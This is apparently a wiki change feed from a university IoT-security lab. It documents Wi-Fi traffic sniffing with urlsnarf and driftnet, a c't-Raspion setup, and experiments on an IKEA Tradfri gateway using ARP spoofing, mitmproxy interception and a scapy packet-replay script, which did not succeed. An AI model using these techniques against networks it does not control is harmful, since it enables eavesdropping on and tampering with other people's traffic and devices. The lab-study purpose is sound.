 urlsnarf -p alfa-01.cap&lt;br /&gt;
&lt;br /&gt;
Filter pictures from captured traffic:&lt;br /&gt;
&lt;br /&gt;
 driftnet -f alfa-01.cap -a -d Pictures/&lt;br /&gt;
&lt;br /&gt;
Disable [https://en.wikipedia.org/wiki/Monitor_mode monitor mode]:&lt;br /&gt;
&lt;br /&gt;
 airmon-ng stop wlan1mon&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
(*) Test if the adapter supports injection:&lt;br /&gt;
&lt;br /&gt;
 aireplay-ng -9 wlan1mon&lt;br /&gt;
&lt;br /&gt;
Detailed information about wireless adapters available in ELVIS can be found [[:File:WiFiAdapter.zip|here]].&lt;br /&gt;
&lt;br /&gt;
(**) This command did not work with [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter|ALFA NETWORK AWUS036ACH]] and [[Alfa AWUS036EAC AC1200 USB Wireless Adapter|ALFA NETWORK AWUS036EAC]]. The following commands are an alternative way to start [https://en.wikipedia.org/wiki/Monitor_mode monitor mode] on the adapter:&lt;br /&gt;
&lt;br /&gt;
 ifconfig wlan1 down&lt;br /&gt;
 iwconfig wlan1 mode monitor&lt;br /&gt;
 ifconfig wlan1 up&lt;br /&gt;
&lt;br /&gt;
== Results ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Browser                           !! urlsnarf                         !! driftnet&lt;br /&gt;
|-&lt;br /&gt;
| Microsoft Edge (Windows 10 host)  || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Mozilla Firefox (Windows 10 host) || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Windows 10 host)   || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Google Chrome (Android host)      || no results reading the pcap file || no results reading the pcap file&lt;br /&gt;
|-&lt;br /&gt;
| Samsung Internet (Android host)   || URLs captured                    || images captured&lt;br /&gt;
|-&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
== Used Hardware ==&lt;br /&gt;
&lt;br /&gt;
* Windows 10 host&lt;br /&gt;
* Kali Linux host&lt;br /&gt;
* Samsung Galaxy A8&lt;br /&gt;
* [[LG Nexus 5X Google Smartphone 32 GB, Android 6.0 Marshmallow, Carbon]]&lt;br /&gt;
* [[Panda 300 Mbps Wireless N USB Adapter PAU05]]&lt;br /&gt;
* [[Alfa AWUS036ACH Wide Range AC1200 Wireless Adapter]]&lt;br /&gt;
* [[Alfa AWUS036EAC AC1200 USB Wireless Adapter]]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
* https://www.androidauthority.com/capture-data-open-wi-fi-726356/&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airmon-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=airodump-ng&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=injection_test&lt;br /&gt;
* https://www.aircrack-ng.org/doku.php?id=cracking_wpa&lt;br /&gt;
[[Category:Documentation]]&lt;br /&gt;
[[Category:Pentesting]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Install_c%27t%27-Raspion_on_Raspberry_PI&amp;diff=14625</id>
		<title>Install c&#039;t&#039;-Raspion on Raspberry PI</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Install_c%27t%27-Raspion_on_Raspberry_PI&amp;diff=14625"/>
		<updated>2024-03-12T17:44:45Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Requirements ==&lt;br /&gt;
* Raspberry PI with Raspbian OS&lt;br /&gt;
* Internet connection&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Description ==&lt;br /&gt;
&lt;br /&gt;
=== Step 1: System Update ===&lt;br /&gt;
&lt;br /&gt;
In the command line interface enter:&lt;br /&gt;
&lt;br /&gt;
 sudo apt-get update &amp;amp;&amp;amp; sudo apt-get upgrade&lt;br /&gt;
&lt;br /&gt;
=== Step 2: Download ===&lt;br /&gt;
Download the latest version of Raspion:&lt;br /&gt;
&lt;br /&gt;
 wget ct.de/s/x5Pm -O raspion.zip &lt;br /&gt;
&lt;br /&gt;
=== Step 3: Installation ===&lt;br /&gt;
Unzip:&lt;br /&gt;
 unzip raspion.zip&lt;br /&gt;
&lt;br /&gt;
Install:&lt;br /&gt;
 cd raspion&lt;br /&gt;
 ./install.sh or bash install.sh&lt;br /&gt;
&lt;br /&gt;
[[File:Install_Raspion.png]]&lt;br /&gt;
&lt;br /&gt;
At the end of the installation there is the wifi name and password of the c&#039;t-Raspion.&lt;br /&gt;
&lt;br /&gt;
=== Launch c&#039;t-Raspion web interface ===&lt;br /&gt;
Atfer connecting to the wifi of the c&#039;t&#039;-Raspion go to http://&amp;lt;ip-address of your Raspberry-PI&amp;gt;:81&lt;br /&gt;
&lt;br /&gt;
[[File:Raspion_webinterface.png]]&lt;br /&gt;
&lt;br /&gt;
== Services of the c&#039;t-Raspion ==&lt;br /&gt;
&lt;br /&gt;
=== Pi-hole ===&lt;br /&gt;
Pi-hole shows DNS-Requests. They can also be blocked.&lt;br /&gt;
&lt;br /&gt;
In the figure below you can see how the DNS query is displayed. You can view information such as time, type, domain, client, etc.&lt;br /&gt;
[[File:Pi-hole.png]]&lt;br /&gt;
&lt;br /&gt;
=== ntopng ===&lt;br /&gt;
They include the involved communication partners, the network protocol and information on duration and volume. ntopng does not show the contents of the packages. But it analyses the flows and provides information about which application is communicating, such as Skype, BitTorrent etc., and provides statistics.&lt;br /&gt;
&lt;br /&gt;
Here we see an example of an overview of the system in ntopng. As you can see, it displays information about the CPU, RAM, Last Log Trace of ntopng and so on:&lt;br /&gt;
[[File:ntopng_system.jpeg|800px]]&lt;br /&gt;
&lt;br /&gt;
In this screenshot we see the network information like devices, flows, total traffic, total packets of the interface &amp;quot;br0&amp;quot; and much else.&lt;br /&gt;
[[File: ntopng_interface.jpeg|800px]]&lt;br /&gt;
&lt;br /&gt;
=== Wireshark ===&lt;br /&gt;
Wireshark offers a deeper analysis of the network traffic as ntopng.  The program allows recording and analyzing network traffic down to the last bit and can be operated via browser as a special feature of c&#039;t-Raspion. The recorded network traffic will be saved in pcap-files.&lt;br /&gt;
 &lt;br /&gt;
=== mitmproxy ===&lt;br /&gt;
The mitm-Proxy can loop into the communication between the local and remote devices by the c&#039;t-Raspion redirecting all access from the internal network on TCP ports 80 and 443 to the mitm-Proxy. It takes the redirected accesses to port&lt;br /&gt;
8080 towards. The redirection is handled by firewall rules, which  can be activated and deactivated as required by clicking in the c&#039;t-Raspion web interface.&lt;br /&gt;
&lt;br /&gt;
There are many options for the search, as you can see in the 2 screenshots below.&lt;br /&gt;
&lt;br /&gt;
[[File: mitmproxy_option.jpeg|800px]]&lt;br /&gt;
[[File: mitmproxy_option_search.jpeg|800px]]&lt;br /&gt;
&lt;br /&gt;
Below is a little preview of what you get when you click on &amp;quot;Editing Options Alpha&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
[[File: mitmproxy_option_alpha.PNG|800px]]&lt;br /&gt;
&lt;br /&gt;
== Ikea Tradfri Setup Sniff ==&lt;br /&gt;
For testing purposes an iphone was cleaned as far as possible. All uninstalable services were erased and synchronization plans were deactivated.&lt;br /&gt;
However iphones are not that good for this kind of tests because after all cleaning there were still some connections to apple servers.&lt;br /&gt;
&lt;br /&gt;
To use pihole for capturing the dns queries of the Tradfri Gateway itself you may use an USB networkadapter or an external router as wifi bride. Otherwise you cannot use the Tradfri Gateway due to the lack of connection possibilities. As an workaround outside the Raspion software package classic arpspoofing was used.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Preliminary overview IP addressess:&lt;br /&gt;
&lt;br /&gt;
[[File:ip-config.png|900px]]&lt;br /&gt;
&lt;br /&gt;
Immediately after power on the app is sending dns requests to get ip addresses for fw.ota.homesmart.ikea.net. In the dns answer the ip&#039;s to d262cmbxmzphsu.cloudfront.net were included which is an address belonging to amazons aws.&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-cap1.png|700px]]&lt;br /&gt;
[[File:wireshark-cap2.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Also an http get request can be found:&lt;br /&gt;
[[File:wireshark-cap-http.png|600px]]&lt;br /&gt;
&lt;br /&gt;
The data from fw.ota.homesmart.ikea.net/feed/version_info.json are not that spectacular. As the name implies it only consists of version information.&lt;br /&gt;
&lt;br /&gt;
As soon as the Ikea Smart Home App starts the setup it tries to find a Tradfri Gateway with mDNS queries.&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-cap-mDNS.png|550px]]&lt;br /&gt;
&lt;br /&gt;
The mDNS queries are not forwarded through our pihole setup so this technique finding the Tradfri Gateway fails. The app itself provides another way to find the Tradfri Gateway by entering the ip address directly. After submitting the input the app finds the gateway and asks you to scan the QR code on the bottom side of the divce or to enter the security code which can be found near the QR code.&lt;br /&gt;
&lt;br /&gt;
The QR code contains the security code which is used as the pre shared key of the DTLS connection. As soon as the app gets the security code the app and the gateway are initiating the DTLS connection. All applicationdata is send over this encrypted connection.&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-cap-dtls.png|550px]]&lt;br /&gt;
&lt;br /&gt;
Same implies to connections of additional smart home devices: All data is sent over the encrypted connection.&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-cap-dtls-snap.png|550px]]&lt;br /&gt;
&lt;br /&gt;
As far as the initial setup goes there are only a few connections to the internet. This connections are all from app to some aws cloud addresses. It seems this is relating to the setup of a new device:&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-cap-aws.png|550px]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Data Transmission when using TRADFRI ==&lt;br /&gt;
&lt;br /&gt;
The IKEA TRADFRI Gateway was connected via LAN cable while the mobile phone running the IKEA app was connected wirelessly to the same network.&lt;br /&gt;
Overview of IP addresses used:&lt;br /&gt;
&lt;br /&gt;
[[File:ip_overview_muzik.png|550px]]&lt;br /&gt;
&lt;br /&gt;
Wireshark was used to record the traffic (using arpspoof because the IKEA TRADFRI Gateway requires a LAN connection so it is not possible to just monitor the Raspion WiFi) which was then filtered.&lt;br /&gt;
&lt;br /&gt;
It turns out that TRADFRI is rather well-behaved when it comes to sending data.&lt;br /&gt;
&lt;br /&gt;
For the most part it uses encrypted (DTLS) communication internally between the Gateway and the mobile phone. To initially find the Gateway after opening the mobile app, an MDNS request is sent out via multicast (224.x.x.x).&lt;br /&gt;
&lt;br /&gt;
However, 2 external connections or destinations could also be found:&lt;br /&gt;
&lt;br /&gt;
* IP address 13.227.156.82 / privacypolicy.config.homesmart.ikea.net (as the url indicates, this has the current policy one has to agree to before using the app)&lt;br /&gt;
* IP address 13.227.156.50 / supportdetails.config.homesmart.ikea.net (this is where the secure certificates are located, apparently).&lt;br /&gt;
&lt;br /&gt;
=== Wireshark caps ===&lt;br /&gt;
privacypolicy.config.homesmart.ikea.net Client Hello:&lt;br /&gt;
&lt;br /&gt;
[[File:Ikea-privacy policy-clientHello.png|700px]]&lt;br /&gt;
&lt;br /&gt;
supportdetails.config.homesmart.ikea.net ServerHello:&lt;br /&gt;
&lt;br /&gt;
[[File:Ikea-supportdetails-serverHello.png|700px]]&lt;br /&gt;
&lt;br /&gt;
=== Certificate Information ===&lt;br /&gt;
The Server Hello contains the information regarding the .cer and .crl:&lt;br /&gt;
 http://ocsp.rootca1.amazontrust.com&lt;br /&gt;
 http://crt.rootca1.amazontrust.com/rootca1.cer&lt;br /&gt;
 http://crl.rootca1.amazontrust.com/rootca1.crl&lt;br /&gt;
Starfield Technologies, Inc.; Starfield Services Root Certificate Authority&lt;br /&gt;
&lt;br /&gt;
Also:&lt;br /&gt;
 http://crl.sca1b.amazontrust.com/sca1b.crl&lt;br /&gt;
 http://ocsp.sca1b.amazontrust.com&lt;br /&gt;
 http://crt.sca1b.amazontrust.com/sca1b.crt &lt;br /&gt;
&lt;br /&gt;
That&#039;s pretty much it. We couldn&#039;t find any unwanted connections.&lt;br /&gt;
&lt;br /&gt;
The app also checks for updates for the used devices, this is also indicated in the app when it happens, so this is very transparent. It is indicated in the app when an update is happening or when the app is checking for new updates as can be seen in the screenshot below. If a device happens to be unavailable, e.g. because it is currently disconnected/turned off, then the app does not report back the current version but instead says the device is unreachable (&#039;Nicht erreichbar&#039;)&lt;br /&gt;
&lt;br /&gt;
[[File:Ikea-tradfri-update.png|360px]]&lt;br /&gt;
&lt;br /&gt;
=== Turning devices on/off ===&lt;br /&gt;
When devices are turned on or off, the individual packet sequences are made up of packets that are the same in size but with some devices there are more packets sent when turning on than off. Let me illustrate this by comparing the on/off sequences of the light bulb (pretty much the same for on/off, although of course different packet content):&lt;br /&gt;
&lt;br /&gt;
Light Bulb ON&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Ikea-gluehbirne_ein.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Light Bulb OFF&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Ikea-gluehbirne_aus.png|700px]]&lt;br /&gt;
&lt;br /&gt;
As opposed to the smart plug where the on sequence is longer than the off sequence:&lt;br /&gt;
&lt;br /&gt;
Smart Plug ON&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Ikea-strom ein.png|700px]]&lt;br /&gt;
&lt;br /&gt;
Smart Plug OFF&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:Ikea-strom aus.png|700px]]&lt;br /&gt;
&lt;br /&gt;
(these were done using arpspoof on 192.168.0.106, 192.168.0.101 is the Internet Gateway, 192.168.0.104 is the TRADFRI Gateway, commands were sent via 192.168.0.103 - so keep in mind that you see duplicates of each packet in the Wireshark caps because they include the sniff and forward to the actual target device)&lt;br /&gt;
&lt;br /&gt;
== Interrupt Communication ==&lt;br /&gt;
This experiment will show if it is possible to interrupt or sniff the communication between the IKEA and the IKEA gateway. This is not possible with only a packet sniffer like Wireshark, because the communication is encrypted with DTLS. Two attacks were performed, a mitm proxy attack and a replay attack. For the mitm attack the mitm proxy from the c’t Raspion was used and for the replay attack a scapy script.  The network structure is as follows:&lt;br /&gt;
&lt;br /&gt;
IP overview:&lt;br /&gt;
&lt;br /&gt;
[[File:mitm_findings.png|700px]]&lt;br /&gt;
&lt;br /&gt;
=== Structure ===&lt;br /&gt;
[[File:mitm-top.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Android can be operated as a virtual machine, or you can also use a smart phone that has the IKEA Smarthome app installed. If it is operated as a virtual machine, make sure that bridge mode is used, since the VM will then have its own IP. This has the advantage that you only have to analyze the traffic generated by Android and not that of the host system.&lt;br /&gt;
&lt;br /&gt;
In order to be able to use the mitm, certificates must be added to the key store on the android os. This can be done by opening the website mitm.it in the browser of android. If you are in the right network, you will see the following window.&lt;br /&gt;
&lt;br /&gt;
[[File:mitmproxy-cert.png|800px]]&lt;br /&gt;
&lt;br /&gt;
Here you choose the right operating system and download the certificates.&lt;br /&gt;
&lt;br /&gt;
The official documentation can be found here[https://docs.mitmproxy.org/stable/concepts-certificates/#quick-setup].&lt;br /&gt;
&lt;br /&gt;
=== MitM Proxy ===&lt;br /&gt;
When you start the app in Wireshark you can see that the handshake for the DTLS connection is being carried out.&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-dtls.png]]&lt;br /&gt;
&lt;br /&gt;
You can also observe that there are several connections to different servers outside the network.&lt;br /&gt;
&lt;br /&gt;
[[File:wireshark-tls.png]]&lt;br /&gt;
&lt;br /&gt;
The following messages can be decrypted.&lt;br /&gt;
&lt;br /&gt;
[[File:mitm-sniff.png]]&lt;br /&gt;
&lt;br /&gt;
Both include a JSON-file.&lt;br /&gt;
&lt;br /&gt;
[[File:Json-file-mitm.jpg]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
* In the debug log, you can observe that there are additional TLS connections, but the mitm proxy couldn’t decrypt these.&lt;br /&gt;
&lt;br /&gt;
 192.168.24.241:59332: Client Handshake failed. The client may not trust the proxy&#039;s certificate for data.logentries.com.&lt;br /&gt;
 192.168.24.241:59332: ClientHandshakeException(&#039;Cannot establish TLS with client (sni: data.logentries.com): TlsException(&amp;quot;(-1, \&#039;Unexpected EOF\&#039;)&amp;quot;)&#039;)&lt;br /&gt;
 ::ffff:192.168.24.241:58971: serverdisconnect&lt;br /&gt;
  -&amp;gt; (&#039;99.86.243.4&#039;, 443)&lt;br /&gt;
 192.168.24.241:59332: clientdisconnect&lt;br /&gt;
 ::ffff:192.168.24.241:40204: serverdisconnect&lt;br /&gt;
  -&amp;gt; (&#039;99.86.243.50&#039;, 443)&lt;br /&gt;
 192.168.24.241:58971: clientdisconnect&lt;br /&gt;
 192.168.24.241:40204: clientdisconnect&lt;br /&gt;
 192.168.24.241:41657: clientconnect&lt;br /&gt;
 ::ffff:192.168.24.241:41657: Establish TLS with client&lt;br /&gt;
 192.168.24.241:50453: clientconnect&lt;br /&gt;
 ::ffff:192.168.24.241:50453: serverconnect&lt;br /&gt;
  -&amp;gt; (&#039;99.86.243.36&#039;, 443)&lt;br /&gt;
 192.168.24.241:42222: clientconnect&lt;br /&gt;
 ::ffff:192.168.24.241:42222: serverconnect&lt;br /&gt;
  -&amp;gt; (&#039;99.86.243.4&#039;, 443)&lt;br /&gt;
 ::ffff:192.168.24.241:42222: Establish TLS with server&lt;br /&gt;
 ::ffff:192.168.24.241:50453: Establish TLS with server&lt;br /&gt;
 ::ffff:192.168.24.241:42222: ALPN selected by server: -&lt;br /&gt;
 ::ffff:192.168.24.241:42222: Establish TLS with client&lt;br /&gt;
 ::ffff:192.168.24.241:50453: ALPN selected by server: -&lt;br /&gt;
 ::ffff:192.168.24.241:50453: Establish TLS with client&lt;br /&gt;
 ::ffff:192.168.24.241:42222: ALPN for client: b&#039;http/1.1&#039;&lt;br /&gt;
 ::ffff:192.168.24.241:50453: ALPN for client: b&#039;http/1.1&#039;&lt;br /&gt;
 ::ffff:192.168.24.241:50453: request&lt;br /&gt;
  -&amp;gt; Request(GET /US/en/getPolicyUpdate/?deviceType=android)&lt;br /&gt;
 ::ffff:192.168.24.241:42222: request&lt;br /&gt;
  -&amp;gt; Request(GET /AppDetails)&lt;br /&gt;
 ::ffff:192.168.24.241:42222: response&lt;br /&gt;
  -&amp;gt; Response(200 OK, application/json, 44b)&lt;br /&gt;
 ::ffff:192.168.24.241:50453: response&lt;br /&gt;
  -&amp;gt; Response(200 OK, application/json, 374b)&lt;br /&gt;
&lt;br /&gt;
The DTLS connection between the app and the gateway, however, does not appear in the mitm log.&lt;br /&gt;
&lt;br /&gt;
=== Replay-Attack ===&lt;br /&gt;
In order to be able to carry out a replay attack, the data traffic between the device on which the IKEA app is running and the IKEA gateway must be recorded. Every time you close the app and open it again, a new transmission must be recorded. This is because this is a new session, so the IKEA Gateway and the App have a new shared secret. Then the SRC and DST in IP and MAC have to be adjusted accordingly. In this particular example, a sequence number is available in the DTLS protocol. This must also be adjusted so that it is preliminary. Since the payload is also included in the UDP checksum, it must be recalculated too. This attack was performed on the TKEA Gateway, where a socket was connected to. In the socket was light plugged in to see what&#039;s happening.&lt;br /&gt;
&lt;br /&gt;
[[File:replay-attack.png]]&lt;br /&gt;
&lt;br /&gt;
As you can see, the attack is unsuccessful because no response is sent from the gateway, which is likely to drop the packets.&lt;br /&gt;
&lt;br /&gt;
This may be because DTLS also uses MAC (message authentication code). The sequence number is used to calculate the MAC value. Unfortunately, this value cannot be recalculated without knowing the encryption.&lt;br /&gt;
&lt;br /&gt;
=== Change Sequence Number ===&lt;br /&gt;
To change the sequence number, we used a workaround in Wireshark. In Wireshark you can select multiple Packets and then copy them as hex dump. &lt;br /&gt;
&lt;br /&gt;
[[File:Wireshark-save-hexdump.png|700px]]&lt;br /&gt;
&lt;br /&gt;
 0000   dc a6 32 7d 1d 37 c0 ee fb 4a 9b b5 08 00 45 00&lt;br /&gt;
 0010   00 69 57 0a 40 00 40 11 47 f6 c0 a8 18 f1 c0 a8&lt;br /&gt;
 0020   01 42 a4 1a 16 34 00 55 ff 2e 17 fe fd 00 01 00&lt;br /&gt;
 0030   00 00 00 00 34 00 40 00 00 00 00 00 00 00 16 21&lt;br /&gt;
 0040   39 8a 8a c5 dd c3 3d 67 ba de a5 5f 0a 10 8c e2&lt;br /&gt;
 0050   75 da ca a1 db ae a2 08 c6 e6 a6 94 32 db d0 cd&lt;br /&gt;
 0060   d1 63 e6 bd 32 db 2f 14 1a a1 08 be e9 ac ff 43&lt;br /&gt;
 0070   48 1b 54 a9 f9 f7 4f&lt;br /&gt;
&lt;br /&gt;
After you have copied the packet you can put it into a texteditor and edit the part of the packet you want. In our case we changed the 00 00 00 00 00 34 in line 0020 and 0030 to the appropriate sequence number. We found out that after each full communication the number raised by four. So, when the last recorded sequence number was 48 the next one is 52 and then 56 and so on. This is the decimal number you have to convert it so hex and change it in the text editor and save it.&lt;br /&gt;
&lt;br /&gt;
In wireshark it is possible to import packets from a textfile with hexdump in it. &lt;br /&gt;
&lt;br /&gt;
[[File:Wireshark-import-hexdump1.png]]&lt;br /&gt;
&lt;br /&gt;
[[File:Wireshark-import-hexdump2.png]]&lt;br /&gt;
&lt;br /&gt;
After you have imported the hexdump save the file as pcap file.&lt;br /&gt;
&lt;br /&gt;
In order to send the packets, edit the marked parts in the python script.&lt;br /&gt;
&lt;br /&gt;
 #! /usr/bin/python3&lt;br /&gt;
 from scapy.all import *&lt;br /&gt;
 from scapy.utils import rdpcap&lt;br /&gt;
 import time&lt;br /&gt;
 &lt;br /&gt;
 pkts=rdpcap(&amp;quot;path of the pcap file&amp;quot;)  # reads the pcap file and saves the list in the pkts var&lt;br /&gt;
 &lt;br /&gt;
 # iterates through the list&lt;br /&gt;
 for pkt in pkts:&lt;br /&gt;
      pkt[Ether].src = &amp;quot;&#039;&#039;&#039;sender mac&#039;&#039;&#039;&amp;quot;  # MAC of the sender&lt;br /&gt;
      pkt[Ether].dst= &amp;quot;&#039;&#039;&#039;target mac&#039;&#039;&#039;&amp;quot;  # MAC of the target&lt;br /&gt;
 &lt;br /&gt;
      pkt[IP].src= &amp;quot;&#039;&#039;&#039;sender ip&#039;&#039;&#039;&amp;quot; # IP of the sender&lt;br /&gt;
      pkt[IP].dst = &amp;quot;&#039;&#039;&#039;target ip&#039;&#039;&#039;&amp;quot;  # IP of the target&lt;br /&gt;
 &lt;br /&gt;
      del pkt.chksum # deletes the current checksum in the IP header&lt;br /&gt;
      del pkt[UDP].chksum # deletes the checksum in UDP header&lt;br /&gt;
      pkt = pkt.__class__(bytes(pkt)) # scapy builds the packet new and calculates the missing checksums new&lt;br /&gt;
 &lt;br /&gt;
      sendp(pkt) # sending packet&lt;br /&gt;
      time.sleep(2)&lt;br /&gt;
&lt;br /&gt;
After that the script can be executed.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Category:Documentation]]&lt;/div&gt;</summary>
		<author><name>Ikramer</name></author>
	</entry>
	<entry>
		<id>https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_mydlink%E2%84%A2_home_devices&amp;diff=14624</id>
		<title>Examination of mydlink™ home devices</title>
		<link rel="alternate" type="text/html" href="https://elvis.hcw.ac.at/wiki/index.php?title=Examination_of_mydlink%E2%84%A2_home_devices&amp;diff=14624"/>
		<updated>2024-03-12T17:43:00Z</updated>

		<summary type="html">&lt;p&gt;Ikramer: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;div style=&amp;quot;max-width: 970px&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: lightgrey; background-color: white; overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;font-weight: normal;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; Table of Contents&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
__TOC__&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1&amp;gt;Summary&amp;lt;/h1&amp;gt;&lt;br /&gt;
[[File:Mydlink home smarthome.jpg|300px|right|thumb|mydlink home: Smarthome]]&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Smart home devices are gaining popularity with the rise of Internet of Things (IoT) technology. With the increasing popularity of IoT technology, smart home devices have become prominent. Since those devices can be controlled and programmed remotely as a feature, the manufacturers focus on advertising the usability, the “intelligence” and the efficiency of such tools, but the security and trustworthiness of these gadgets is still questioned, in order to deserve to play a central role in modern households. This project introduces two devices of the mydlink™ home product lineup, [[D-LINK® DCH-G020 Gateway Connected Home Hub|D-Link® DCH-G020 Gateway Connected Home Hub]] and [[:D-Link® DCH-S150 Home Wi-Fi Motion Sensor, Bewegungssensor|D-Link® DCH-S150 Home Wi-Fi Motion Sensor]].&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The devices in question are particularly prone to attacks through Home Network Administration Protocol (HNAP), a proprietary network protocol, which has been deprecated because of vulnerabilities to HNAP authentication. Unfortunately, HNAP is still used in some smart home devices and the exploits can cause great harm. Future work will show whether these observations are applicable to all devices in the product range. It is also planned to analyze the firmware of other devices of this [https://eu.mydlink.com/content/productfamily product family]. &amp;lt;sup&amp;gt;[ftp://ftp.dlink.de/dch/]&amp;lt;/sup&amp;gt;&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h1 style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Background Information&amp;lt;/h1&amp;gt;&lt;br /&gt;
&amp;lt;h2&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-G020: Gateway Connected Home Hub&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;D-Link states the product is no longer available for purchase, but it is still supported. The intended use-case is that it acts as a link between a pre-existing home network and one or more mydlink™ home Z-Wave and Wi-Fi devices. Customers are instructed to connect the hub to the Internet router and download the mydlink™ home app to their smartphones. The app is required and there is no other possibility to setup the device. After the initial setup one can manage the device through the app by setting up rules which are applied following different actions, e.g. sending out a notification after a motion sensor is triggered. In this inspection the hub was used as a link between the home network and a motion sensor.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-S150: Home Wi-Fi Motion Sensor&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This product is also no longer available for purchase, but still supported. The setup process works similar as with the hub. One is instructed to setup and manage the device via the app. The connection to the home network is made possible via Wi-Fi Protected Setup (WPS), which is network security standard which allows to create a new network or to add devices to an existing network  without entering the default Wifi password (e.g WPA2-PSK). These features also allow home users who have little knowledge of wireless networks to bypass considering and handling security options. To make use of the automated integration one must push the WPS-button on the access point as well as the client device. Shortly after the devices enter a discovery mode, which disables itself after a connection is made. The intended use-case for the motion sensor is to receive push-notifications via the app on a smart phone whenever motion is detected, or to combine it with other smart devices to enable automation, such as switching on the light when returning home.&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Uninvestigated devices&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;Additional potentially vulnerable devices from the mydlink™ Home product line&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-S160: Home Wi-Fi Water Sensor&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;Wherever you are, be alerted when a leak is detected in your home with the mydlink™ Home Water Sensor. It’s easy to setup, connects to your home Wi-Fi and can help you detect water leaks before serious flooding occurs.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
&amp;lt;b&amp;gt;D-Link&amp;lt;sup&amp;gt;®&amp;lt;/sup&amp;gt; DCH-S220: Home Wi-Fi Siren&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The mydlink™ Home Siren is a smart audio warning device with 6 different sounds built-in. It’s easy to setup, connects to your home Wi-Fi and provides instant audio alerts. It works with other mydlink Home sensors, such as the Motion Sensors, Door &amp;amp; Window Sensor and Monitors, to provide a loud audio warning when motion/sound is detected or a door is opened. Whether you are at home or away, push notifications will alert you whenever the Siren is activated. mydlink Home enables you to create a smart home without complicated set up, installation costs or monthly subscription charges.&amp;lt;p&amp;gt;&lt;br /&gt;
&amp;lt;hr&amp;gt;&lt;br /&gt;
